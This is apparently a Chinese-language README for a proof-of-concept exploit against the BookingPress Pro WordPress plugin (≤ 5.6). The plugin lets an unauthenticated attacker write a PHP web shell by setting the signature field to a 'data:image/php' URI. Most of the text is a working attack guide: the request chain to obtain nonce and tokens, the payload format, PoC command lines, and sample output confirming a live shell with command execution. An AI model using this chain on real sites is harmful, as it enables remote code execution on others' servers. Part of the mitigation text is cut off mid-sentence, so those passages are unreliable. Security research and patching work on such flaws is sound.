研究方: Atomic Edge 严重程度: 严重 | CVSS: 9.8 | 需认证: 否
⚠️ v2 — 已根据社区反馈进行技术修正。 详情请参见更新日志。
BookingPress Pro WordPress 插件(版本 ≤ 5.6)中存在一个严重的未授权任意文件上传漏洞。预约提交处理器 bookingpress_book_appointment_booking 将签名字段值作为 data URI 处理。插件通过正则表达式从 URI 的 MIME 类型部分提取文件扩展名,并直接将其传递给 file_put_contents() —— 没有任何扩展名允许列表或阻止列表。这使得攻击者可以写入 PHP Web Shell 到 web 可访问目录,实现 远程代码执行 (RCE)。
⚠️ 以下所有条件必须满足,站点才可被利用:
运行 ≤ 5.6 版本 但没有 配置签名自定义字段的站点 无法通过此向量被利用。
1. GET /booking-page/
└─ 从页面源码提取 _wpnonce
2. POST /wp-admin/admin-ajax.php action=bookingpress_fetch_timeslot_data
└─ 获取服务端时间段临时键 (timeslot transient key)
3. POST /wp-admin/admin-ajax.php action=bookingpress_pre_booking_verify_details
└─ 获取预预约验证令牌 (pre-booking verification token)
4. POST /wp-admin/admin-ajax.php action=bookingpress_book_appointment_booking
└─ bookingpress_signature_field = "data:image/php;base64,<shell>"
└─ 插件从 MIME 类型中提取 "php" → file_put_contents("shell.php", ...)
5. GET /wp-content/uploads/bookingpress/shell.php?cmd=id
└─ RCE 确认
漏洞代码路径将签名字段值作为 data URI 处理:
data:image/{ext};base64,{base64_encoded_content}
BookingPress 使用正则表达式从 MIME 类型中提取 {ext},然后通过 file_put_contents() 将解码后的内容写入磁盘,文件名后附加该扩展名 —— 未执行任何允许列表检查。提供 image/php 作为 MIME 类型会导致 .php 文件被写入上传目录。
这与标准的多部分文件上传有本质区别 —— 载荷嵌入在 JSON 请求体字段 中,而非文件上传部分。
pip install requests
# 基本用法 — 首页上的预约表单,服务 ID 1
python3 poc.py -u https://target.com
# 指定预约页面
python3 poc.py -u https://target.com --booking-page /appointments/
# 自定义服务 ID 和 Shell 文件名
python3 poc.py -u https://target.com -s 3 -f evil.php
# 跳过 SSL 验证
python3 poc.py -u https://target.com --no-verify
[!] PRECONDITION: This exploit requires a signature-type custom field
to be configured in the BookingPress booking form by the site admin.
[*] Step 1/3 — Fetching _wpnonce from: https://target.com/appointments/
[+] _wpnonce found: 9f1c3a72bd
[*] Step 2/3 — Fetching timeslot transient...
[+] Timeslot transient: bp_ts_a1b2c3d4
[*] Step 3/3 — Fetching pre-booking verification token...
[+] Verification token: bp_vt_e5f6g7h8
[*] Uploading shell via data URI method...
[*] Extension injected into MIME type: image/php
[+] Upload response (HTTP 200): {"success":true,...}
[✓] Shell is LIVE!
Output of 'id': uid=33(www-data) gid=33(www-data)
[→] Shell access: https://target.com/wp-content/uploads/bookingpress/shell.php?cmd=<command>
image/png、image/jpeg、image/svg+xml),然后再提取扩展名wp_check_filetype_and_ext() 进行所有文件类型验证→ 立即更新至 BookingPress Pro 5.7。
本仓库仅供 授权的安全研究和教育目的 使用。 未经系统拥有者 明确书面许可,请勿将此工具用于任何系统。 未经授权使用可能违反 CFAA(美国)、加拿大刑法第342.1条、欧盟 NIS2 指令及其他适用法律。 作者对因使用此代码而产生的滥用或损害 不承担任何责任。
| 属性 | 详情 |
|---|
| 插件 | BookingPress Pro (bookingpress-appointment-booking-pro) |
| 受影响版本 | ≤ 5.6 |
| 修复版本 | 5.7 |
| 攻击向量 | 网络 / 未授权 |
| AJAX 动作 | bookingpress_book_appointment_booking |
| 根本原因 | 从 data URI 中攻击者控制的 MIME 类型提取扩展名 → file_put_contents() 无允许列表 |
| CWE | CWE-434: 不受限制的文件上传危险类型 |
| 标志 | 描述 | 默认值 |
|---|
-u, --url | 目标 WordPress URL | (必需) |
-bp, --booking-page | 包含 BookingPress 表单的页面路径 | / |
-s, --service-id | BookingPress 服务 ID | 1 |
-f, --filename | Shell 文件名(扩展名注入到 data URI 的 MIME 中) | shell.php |
--no-verify | 禁用 SSL 证书验证 | false |
| # | 问题 | v1 (错误) | v2 (修正) |
|---|
| 1 | AJAX 动作 | bookingpress_validate_submitted_booking_form | bookingpress_book_appointment_booking |
| 2 | 载荷方式 | 多部分文件上传,MIME 为 image/png | Data URI: data:image/{ext};base64,... |
| 3 | 利用流程 | 直接未授权 POST | 三步前置链 (nonce → transient → token) |
| 4 | 前提条件 | 未记录 | 必须配置签名自定义字段 |